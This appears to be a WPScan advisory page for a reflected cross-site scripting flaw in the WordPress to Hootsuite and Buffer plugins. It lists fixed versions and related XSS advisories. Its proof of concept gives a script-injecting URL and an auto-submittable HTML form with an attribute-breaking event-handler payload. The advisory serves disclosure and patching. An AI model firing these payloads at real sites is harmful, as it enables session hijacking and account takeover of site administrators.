WordPress to Hootsuite (< 1.3.9) & Buffer (< 3.7.5) – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugins do not properly sanitise and escape user input before outputting it back in pages and attributes, which could lead to reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin.php?page=wp-to-buffer-log&s=<script>alert(/XSS/)</script>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-to-buffer-log" method="POST">
      <input type="hidden" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 3.7.5

wp-to-hootsuite

Fixed in 1.3.9

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

c9298ff7-4c21-4d57-9048-2ed1dc29160b

Timeline

Publicly Published

2021-09-20 (about 4 years ago)

Added

2021-09-20 (about 4 years ago)

Last Updated

2021-09-20 (about 4 years ago)

Other

Published

Title

Published

2025-12-11

Title

Simple AL Slider <= 1.2.10 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']

Published

2026-04-27

Title

Ajax Load More < 7.8.4 - Reflected XSS

Published

2024-09-06

Title

Ninja Forms File Uploads < 3.3.18 - Unauthenticated Stored Cross-Site Scripting via File Upload

Published

2015-05-14

Title

Multiple Plugins - jQuery prettyPhoto DOM Cross-Site Scripting (XSS)

Published

2024-03-28

Title

Limit Attempts by BestWebSoft < 1.3.0 - Reflected Cross-Site Scripting